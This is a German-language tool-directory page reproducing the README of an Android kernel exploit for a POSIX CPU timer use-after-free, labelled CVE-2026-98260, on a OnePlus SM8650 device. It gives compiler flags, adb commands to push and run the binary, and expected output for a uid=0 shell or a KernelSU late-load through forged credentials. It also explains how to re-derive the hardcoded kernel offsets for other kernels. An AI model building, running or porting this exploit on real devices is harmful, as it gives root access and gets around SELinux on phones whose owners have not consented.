Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-98260 — Android-Kernel-POSIX-CPU-Timer-Use-after-Free-Exploit für CVE-2026-98260, das auf SM8650-Geräten eine uid=0-Shell oder ein KernelSU-Late-Load über gefälschte Anmeldeinformationen erreicht. | Kitploit
Tools/GitHubGitHub/zjns/cve-2026-98260
Android-SicherheitPrivilege EscalationExploitationPost-ExploitationMobile SicherheitPayload-EntwicklungBinary-Exploitation
GitHubzjns/cve-2026-98260

CVE-2026-98260

Android-Kernel-POSIX-CPU-Timer-Use-after-Free-Exploit für CVE-2026-98260, das auf SM8650-Geräten eine uid=0-Shell oder ein KernelSU-Late-Load über gefälschte Anmeldeinformationen erreicht.

Repository anzeigen
932vor 8 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-98260 Timer LPE

CVE-2026-98260 POSIX CPU-Timer-UAF-Portierung für 6.6.118-android15-8-g9bc34d5b0c79-abogki537459655-4k (OnePlus PKX110, SM8650/sun)

Zwei Ketten:

  • timer: echte cred null write → uid=0, u:r:shell:s0 (shell-Domain root, bset caps)
  • timer fake: fake cred (full caps) → installierte KernelSU libksud.so late-load

Status

PfadErgebnis
real cred null write + setuid(0) + exec shuid=0, u:r:shell:s0, ROOT_SHELL_OK
fake cred + ksud late-loadinstallierte libksud.so (uapi 6), KSU_LOADED, su ist u:r:ksu:s0

Umgebung

  • Startidentität: adb/shell (uid 2000, u:r:shell:s0), kann tracefs und /proc/slabinfo lesen
  • Wenn der KernelSU-Manager installiert ist (me.weishu.kernelsu), verwendet fake automatisch dessen lib/arm64/libksud.so

Build

NDK 28.2 (aarch64, API 35):

cd timer
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
$NDK/aarch64-linux-android35-clang -O2 -std=gnu11 -static \
    -fno-stack-protector -fno-pic -I. \
    -ffunction-sections -fdata-sections timer.c -o timer \
    -Wl,--gc-sections -Wl,-s -Wl,--build-id=none \
    -Wl,-z,norelro -pthread

Verwendung

adb push timer /data/local/tmp/timer
adb shell chmod 755 /data/local/tmp/timer

# Diagnose
adb shell /data/local/tmp/timer ids     # tracefs page event id ermitteln
adb shell /data/local/tmp/timer leak    # nur base/cred/task leaken, UAF nicht auslösen

# uid-0 shell (echte cred)
adb shell /data/local/tmp/timer         # id + context + ROOT_SHELL_OK
adb shell /data/local/tmp/timer shell   # interaktive sh

# KernelSU (fake cred + installiertes ksud) —— im Vordergrund ausführen, Logs werden in Echtzeit angezeigt
adb shell /data/local/tmp/timer fake
# Nachdem "[!] fake cred page held; reboot to clean" angezeigt wurde, kann das Terminal direkt geschlossen werden
# (beim Parken wurden SIGHUP/SIGINT/SIGTERM bereits ignoriert, der Prozess hält die fake-cred-Seite weiterhin, wird nicht durch Ctrl-C/Trennung versehentlich beendet)

# Falls Logs auf dem Gerät aufbewahrt werden sollen (gleichzeitig in Echtzeit anzeigen):
adb shell 'cd /data/local/tmp && ./timer fake 2>&1 | tee timer.log'

Erfolgsanzeichen von fake:

[ksu] ksud=.../lib/arm64/libksud.so version=ksud 3.3.1-24-g528bafc5 (uapi: 6)
KSU_LOADED
kernelsu ... Live
adb shell /system/bin/su -c id   # uid=0 ... context=u:r:ksu:s0

Sicherheit

  • Bei fehlgeschlagenem state wird geparkt und ein Zombie gehalten; nicht killen, ein Neustart ist die einzige sichere Bereinigung
  • Nach erfolgreichem fake wird auch der Elternprozess geparkt und hält die fake-cred-Seite über einen Socket
  • Nach dem Auslösen des UAF keine timeout/kill auf geparkte Prozesse anwenden, sonst kann init beim Recyceln des stale node einen Panic verursachen
  • park_forever() ignoriert SIGHUP/SIGINT/SIGQUIT/SIGTERM/SIGPIPE, daher kann bei Ausführung im Vordergrund sicher mit Ctrl-C oder durch Schließen des adb-Terminals abgekoppelt werden; echtes Beenden ist nur per SIGKILL (oder Neustart) möglich
  • Nach einem Hard-Reboot verschwindet ksu root; ein simulierter Soft-Reboot über KernelSU lässt ksu root nicht verschwinden

Verzeichnis

timer/timer.c      Exploit
timer/timer        statisches Artefakt
tools/*.c          Portierungs-Diagnosequellcode

Ziel und Portierung

Schlüsselkonstanten sind in timer/timer.c fest verdrahtet: do_timer_create/copy_process-Stellen, selinux_state, panic_on_warn, Größe des copy_process-Task-Caches, init_*-Symbole

Beim Kernelwechsel mit boot.img/BTF/kallsyms des Geräts neu ableiten; die Dateien unter tools/ dienen zur Überprüfung von call site, raw record, timer-Leak und 8 KiB AF_UNIX-Recycling-Kanal

Referenzen

  • woshigenm/CVE-2026-98260 (MIT): Trigger, Zero-Write auf real-cred, fake-cred/KSU-Ansatz
  • ghostlock-app: letzte Phase des KernelSU-Late-Load
  • Andere CVE-2026-98260-Portierungsprojekte: order-1-Recycling und Trigger-Timing
Tool herunterladen